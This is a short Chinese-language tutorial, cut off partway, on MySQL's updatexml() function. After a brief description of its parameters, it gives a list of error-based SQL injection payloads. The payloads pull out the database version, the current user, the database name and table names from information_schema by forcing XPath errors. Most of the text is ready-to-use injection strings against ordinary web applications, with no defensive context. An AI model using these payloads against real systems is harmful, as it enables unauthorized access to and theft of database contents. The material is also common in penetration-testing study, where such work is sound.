updatexml()函数
updataxml()函数用法
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点
updatexml报错注入用法
1.爆出数据库的版本信息
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
因为concat()是将其连接成一个字符串,不符合xpath_string格式,会出现格式错误而报错,并会爆出
2.爆出连接用户
and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
3.链接数据库
and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
4.爆表
and updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0)
and updatexml(1,concat(0x7e,(select table_name from information_